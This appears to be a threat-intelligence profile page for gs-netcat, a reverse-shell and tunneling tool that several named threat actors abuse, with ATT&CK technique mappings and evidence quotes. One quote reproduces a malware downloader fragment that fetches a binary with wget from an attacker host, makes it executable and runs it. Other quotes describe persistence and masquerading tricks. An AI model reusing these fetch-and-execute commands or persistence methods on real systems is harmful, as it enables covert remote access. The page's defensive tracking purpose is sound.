Skip to main content
Mallory
Malware2 associated actors

gs-netcat

Tracked since Nov 25, 2025 · Updated 12 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 days3 mentions · peak 1 in a dayToday
Vulns0Associated
Actors2Associated
ATT&CK13Techniques
IOCs0Tracked
Type
Reverse shell
Capabilities
PersistencePost exploitationDefense evasion
Platforms
LinuxWindows

gs-netcat is a dual-use networking utility from the Global Socket toolset that threat actors abuse for reverse-shell access, tunneling, and persistent remote administration. It communicates through the Global Socket Relay Network (GSRN), using a configured shared password to connect endpoints, including systems located inside internal networks. Although not inherently malicious, it is deployed as a backdoor in multiple intrusion campaigns affecting Linux and Windows systems.

The China-nexus threat group Velvet Ant deployed a modified gs-netcat reverse shell on internet-facing Linux servers during Operation Highland. That variant masqueraded as a kernel thread to conceal its presence. The AryStinger botnet’s Standard variant deploys gs-netcat to maintain remote access to compromised NAS devices. Larva-24010 has also distributed gs-netcat through a trojanized VPN installer targeting South Korean VPN users, establishing persistence through Windows scheduled tasks. Other intrusions have installed the tool after compromising public-facing web applications to retain access to affected servers.

Its role in these operations is primarily post-compromise remote access and persistence; credential theft, database extraction, and other campaign activities may be performed by separate tools.

Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Threat actors

Associated threat actors

2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details →
DarkLunnen

Alert on tunneling and proxy tools from the operator’s toolkit, such as gost, gs-netcat, yuze, suo5 and Neo-reGeorg.

via group ibgroup-ib.com
Velvet Ant

On exposed servers, the group deployed a modified GS-Netcat reverse shell. They renamed the binary “auditdb” and hid it in /usr/sbin/.

via security online infosecurityonline.info
MITRE ATT&CK

Techniques & procedures

13 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

1 technique
T1133External Remote ServicesEvidence3

Both versions establish persistent backdoors on infected devices, either through a lightweight SSH server called dropbear or through gs-netcat, giving attackers long-term remote access.

Execution

2 techniques
T1059Command and Scripting InterpreterEvidence3

On exposed servers, the group deployed a modified GS-Netcat reverse shell.

T1059.004Unix ShellEvidence1

Velvet Ant deployed a modified version of GS-Netcat on internet-facing servers to establish a reverse shell to a remote C2 server.

Persistence

4 techniques
T1037Boot or Logon Initialization ScriptsEvidence1

Retain access after reboot... Use any of the start-up scripts, such as /etc/rc.local ... Alternatively and if you do not have root privileges then just append the following line to the user's ~/.profile file.

T1037.004RC ScriptsEvidence1

For persistence, the malware abused systemd unit files on newer hosts and SysVinit scripts on older ones.

T1133External Remote ServicesEvidence3

Both versions establish persistent backdoors on infected devices, either through a lightweight SSH server called dropbear or through gs-netcat, giving attackers long-term remote access.

T1543.002Systemd ServiceEvidence2

For persistence, the malware abused systemd unit files on newer hosts and SysVinit scripts on older ones.

Privilege Escalation

3 techniques
T1037Boot or Logon Initialization ScriptsEvidence1

Retain access after reboot... Use any of the start-up scripts, such as /etc/rc.local ... Alternatively and if you do not have root privileges then just append the following line to the user's ~/.profile file.

T1037.004RC ScriptsEvidence1

For persistence, the malware abused systemd unit files on newer hosts and SysVinit scripts on older ones.

T1543.002Systemd ServiceEvidence2

For persistence, the malware abused systemd unit files on newer hosts and SysVinit scripts on older ones.

Stealth

2 techniques
T1036MasqueradingEvidence3

They renamed the binary “auditdb” and hid it in /usr/sbin/. To slip past analysts, it even disguised itself as the kernel thread “[khubd]”.

T1036.004Masquerade Task or ServiceEvidence1

GSocket / gs-netcat ... déguisé en [kcached] et gs-dbus

Command and Control

5 techniques
T1090ProxyEvidence2

AryStinger supports multiple task types, including internal/external network scanning, traffic tunnel forwarding/proxying... TUNNEL (Tunnel Penetration) Provides tunnel functionality, used to proxy or forward network traffic.

T1095Non-Application Layer ProtocolEvidence1

Uses the Global Socket Relay Network to connect TCP pipes... Once connected the library then negotiates a secure TLS connection(End-2-End).

T1105Ingress Tool TransferEvidence2

Its function is to first obtain the latest version number from the download server hgodpcx[.]ajb8.com, then download and execute the corresponding AryStinger sample... wget -q -O "${BIN_PATH}" "${SRC_URL}" ... chmod +x "${BIN_PATH}" ... "${BIN_PATH}" -b "${CTX}"

T1219Remote Access ToolsEvidence1

the Standard version achieves it by downloading and deploying gs-netcat through main_installGSocket.

T1572Protocol TunnelingEvidence2

The operator ... used multiple tunneling tools to facilitate access to internal networks through compromised Exchange servers.

Activity feed

Recent activity

8 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

View more in app →
+2 more in the timeline. Sign up to see them
Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matchingMatch every observed IP, domain, and hash against your live telemetry.
Associated threat actors2Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilitiesCVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping13Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.